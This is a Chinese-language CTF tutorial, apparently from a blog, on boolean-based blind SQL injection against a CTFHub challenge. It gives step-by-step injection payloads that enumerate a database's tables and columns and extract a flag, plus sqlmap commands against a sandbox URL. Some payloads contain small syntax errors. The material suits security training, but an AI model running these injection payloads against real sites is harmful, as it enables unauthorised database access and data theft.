一:什么是盲注?
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
通俗的理解就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。
二:盲注的类型?
1.基于布尔类型的盲注;
2.基于时间类型的盲注。
三:使用盲注的条件?
首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。
如果有回显位的话我们首选union联合查询。
五:基于布尔类型的盲注:
常用函数与语句
substr()函数
substr()函数是截取字符串的函数。
使用形式substr(string,start,length)
参数string :被截取的字符串
参数start :截取的起始位置
参数length :从截取位置截取的长度
length()函数
length()函数是否返回一个字符串的长度。
使用形式为length(string)
参数string :为需要输出其长度的字符串。
ord()函数
ord()函数是返回一个字符的ASCII码。
使用形式:ord(character)
参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。
# substr(database(),1,1):表示从数据库的第1个字母开始,显示1个字母,从1开始计数
# limit 0,1:表示从第0行开始,显示1行,从0开始计数
1.原理:
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False
输入:?id=1' and 1=1 --+ 为真页面true
输入:?id=1' and 1=2 --+ 为假页面false
1.手注
2.python脚本注入
3.sqlmap工具注入
1.手动注入:
操作具体流程:
1.求当前数据库的长度以及ASCII
2.求当前数据库表的ASCII
3.求当前数据库表中的个数
4.求当前数据库表中其中一个表的表名长度
5.求当前数据库中其中一个表的表名的ASCII
6.求列名的数量
7.求列名的长度
8.求列名的ascii
9.求字段的数量
10.求字段内容的长度
11.求字段内容的ascii
例题:
输入1之后,页面有回显,百度回显的内容发现为布尔盲注
1.爆取库名长度:首先,通过循环i从1到无穷,使用length(database()) = i
获取库名长度,i是长度,直到返回页面提示query_success即猜测成功
输入:1 and length(database())=4,发现有回显,所以判断数据库长度为4(当然也可以尝试查询其他长度,但是都是报错的,没有回显:例如下面第二张图)
2.根据库名长度爆库名
获得库名长度i后,使用substr(database(),i,1)
将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符
注意观察substr(database,i,1)
i从1开始(第i个字符)
匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表 (每个英文字母的大小写都有对应的ASCII值)
- ?id=1 and substr(database(),1,1)=‘a’
- #query_error
- ...
- ?id=1 and substr(database(),1,1)=‘s’
- #query_success
- #库名第一个字符是s
- ?id=1 and substr(database(),2,1)=‘s’
- #query_success
- #库名第二个字符是q
- ?id=1 and substr(database(),3,1)=‘l’
- #query_success
- #库名第三个字符是l
- ?id=1 and substr(database(),4,1)=‘i’
- #query_success
- #库名第四个字符是i
- #库名是sqli
分别执行以上的命令,结果如下:
3、对当前库爆表数量
下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)
。同样,要一个1到无穷的循环
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1
#query_error1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2
#query_success
#当前库sqli有2张表
4、根据库名和表数量爆表名长度
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1
限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度
注意观察limit i,1
i从0开始(第i+1张表)
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
#query_error
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#query_success
#当前库sqli的第一张表表名长度为4
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
#query_success
#当前库sqli的第二张表表名长度为4
5、根据表名长度爆表名
再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名
注意观察substr((select…limit i,1),j,1)
i从0开始(第i+1张表),j从1开始(第j个字符)
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’
#query_success
#当前库sqli的第一张表表名第一个字符是n
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’
#query_success
#当前库sqli的第二张表表名的第四个字符是g当然得一个个去爆表名的每个字符
#当前库sqli有两张表’news‘和‘flag’
这里分析一下表名——flag在第二张表flag里面,就不用对表news操作了
6、对表爆列数量
操作同对当前库爆表数量的步骤,只是要查询的表不同
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=1
#query_error?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2
#query_success
#当前库sqli表flag的列数为2
7、根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤,i是列标-1
注意观察limit i,1
i从0开始(第i+1列)
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1
#query_error
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第一列列名长度为4
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第二列列名长度为4#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为2和4
8、根据列名长度爆列名
操作同对当前库爆表名的步骤,i是列标-1,j是字符下标
注意观察substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
#query_success
#当前库sqli表flag的第一列列名第一个字符为i
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success
#当前库sqli表flag的第二列列名第四个字符为g#当前库sqli表flag有两个列‘id’和‘flag’
9、根据列名爆数据
flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束
注意观察substr((select…),j,1)
j从1开始(flag的第j个字符)
?id=1 and substr((select flag from sqli.flag),1,1)=“a”
#query_error
...
?id=1 and substr((select flag from sqli.flag),1,1)=“c”
#query_success
#flag的第一个字符是c
...
?id=1 and substr((select flag from sqli.flag),i,1)=“}”
#query_success
#flag的最后一个字符是}
#这里的j是计数变量j从1自增1得到的值#出循环即可得到flag
二:python脚本注入;
由于布尔盲注有大量重复的操作,手注极其繁琐且枯燥,这里给出使用Python编写的脚本完成布尔盲注
python脚本来源于:CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客
此脚本只针对于本题,可能与其他题目不兼容
由于没有输入检测,输入没有flag的表和列,可能导致运行错误
由于盲猜是依次遍历,可以优化使用random函数或者是二分法改进算法
这里表名我们输入:flag
列名:flag
得出flag
三:sqlmap注入:(使用sqlmap工具)
1.获取当前使用的数据库
sqlmap -u 'http://xx/?id=1 --current-db
2.获取指定数据库中的数据表
sqlmap -u 'http://xx/?id=1 -D 'sqli' --tables
3.获取指定数据表中的数据列
sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' --columns
4.获取指定数据列中的所有字段
sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' -C 'flag' --dump
kali自带sqlmap工具,只需要在终端中输入:sqlmap
查库名:
sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" --dbs -batch
查表名:sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' table
查列:
sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' -T 'flag' -columns
查字段:
sqlmap -u "http://challenge-7bb756f36979f403.sandbox.ctfhub.com:10800/?id=1" -D 'sqli' -T 'flag' -C 'flag' --dump
最终会获得flag
(sqlmap运行太慢了......)